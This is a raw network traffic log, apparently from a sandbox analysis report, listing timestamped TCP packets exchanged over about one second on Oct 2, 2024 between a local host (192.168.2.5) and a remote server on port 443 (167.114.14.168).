Oct 2, 2024 06:10:09.217608929 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.217622042 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.217647076 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.217667103 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.217894077 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.217920065 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.217977047 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.217991114 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.219327927 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.219347954 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.232920885 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.232961893 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.233010054 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.233023882 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.233057022 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.233077049 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.303189993 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.303210020 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.303317070 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.303350925 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.303452969 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.304663897 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.304678917 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.304750919 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.304771900 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.304821968 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.305077076 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.305092096 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.305135965 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.305150032 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.305176020 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.305438995 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.305458069 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.305500031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.305517912 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.305541992 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.305804014 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.305819988 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.305881977 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.305905104 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.305927992 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.306031942 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.306055069 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.306097031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.306108952 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.306135893 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.306173086 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.306256056 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.306271076 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.306320906 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.306333065 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.306360960 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.308633089 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.308792114 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.321528912 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.321544886 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.321628094 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.321641922 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.324657917 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.391859055 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.391891003 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.391969919 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.391990900 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.392019987 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.393266916 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.393292904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.393345118 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.393357992 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.393418074 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.393418074 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.393712044 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.393738031 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.393780947 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.393798113 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.393821001 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.393948078 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.394005060 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.394027948 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.394073963 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.394085884 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.394110918 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.394134045 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.394360065 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.394381046 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.394438028 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.394448996 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.394474983 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.394498110 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.394624949 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.394644022 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.394686937 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.394699097 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.394745111 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.394913912 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.394937992 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.394984007 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.394996881 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.395024061 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.395042896 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.402723074 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.412909985 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.412940979 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.413018942 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.413037062 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.413561106 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.480446100 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.480479956 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.480561972 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.480573893 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.480587959 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.481821060 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.482182980 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.482208967 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.482270002 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.482276917 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.482414007 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.482444048 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.482491016 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.482500076 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.482544899 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.482572079 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.482817888 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.482845068 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.482891083 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.482897997 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.482912064 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.482928038 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.482938051 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.482944012 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.482991934 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.483017921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.483052969 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.483084917 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.483102083 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.483634949 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.483655930 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.483716965 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.483726025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.483867884 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.483896971 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.483932018 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.483939886 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.483952045 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.483989000 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.501418114 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.501449108 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.501526117 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.501550913 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.501605034 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.501605034 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.569235086 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.569267988 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.569333076 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.569356918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.569387913 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.569422960 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.570553064 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.570605040 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.570643902 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.570658922 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.570687056 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.570705891 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.570914984 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.570935011 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.570987940 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.571002960 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.571280003 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.571306944 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.571350098 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.571369886 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.571417093 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.571511030 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.571528912 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.571569920 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.571585894 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.571630955 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.571945906 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.571969032 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.572024107 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.572057962 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.572083950 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.572242022 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.572258949 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.572303057 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.572316885 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.572345018 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.573477030 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.589860916 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.589886904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.589952946 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.589972973 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.590001106 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.590029955 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.657831907 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.657903910 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.657959938 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.657977104 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.658004999 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.658029079 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.659091949 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.659116030 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.659178019 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.659197092 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.659224033 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.659248114 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.659914970 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.659940004 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.659980059 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.659991980 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.660017967 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.660048008 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.660147905 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.660167933 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.660212994 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.660223961 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.660250902 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.660269022 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.660463095 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.660484076 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.660541058 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.660553932 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.660728931 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.660753012 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.660794020 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.660811901 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.660835981 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.660913944 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.660933018 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.660979033 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.660994053 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.661021948 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.661039114 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.678617001 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.678646088 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.678716898 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.678730965 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.678776979 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.678812981 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.746260881 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.746296883 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.746387005 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.746432066 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.747585058 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.747608900 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.747659922 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.747680902 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.747704029 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.748331070 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.748368025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.748408079 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.748421907 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.748501062 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.748501062 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.748783112 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.748807907 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.748851061 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.748868942 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.748898029 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.749021053 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.749042988 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.749089003 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.749106884 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.749130964 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.749161005 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.749358892 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.749377966 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.749423027 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.749440908 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.749464989 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.749512911 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.749605894 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.749625921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.749680996 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.749713898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.749739885 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.749769926 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.767127037 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.767160892 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.767256975 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.767272949 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.769582033 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.834877014 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.834908009 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.834984064 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.835001945 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.835047960 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.835067034 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.836121082 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.836144924 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.836199999 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.836214066 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.836245060 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.836265087 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.836899996 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.836920977 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.836977005 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.837012053 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.837037086 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.837054968 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.837330103 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.837348938 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.837407112 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.837420940 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.837469101 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.837559938 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.837579966 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.837632895 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.837646008 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.837702036 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.837836027 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.837856054 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.837904930 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.837923050 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.837944984 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.837981939 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.838181019 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.838201046 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.838264942 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.838279963 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.838335037 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.856867075 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.856897116 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.856982946 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.856997967 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.857073069 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.924448013 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.924468994 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.924561024 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.924591064 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.924652100 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.926098108 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.926111937 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.926179886 CEST	49715	443	192.168.2.5	167.114.14.168
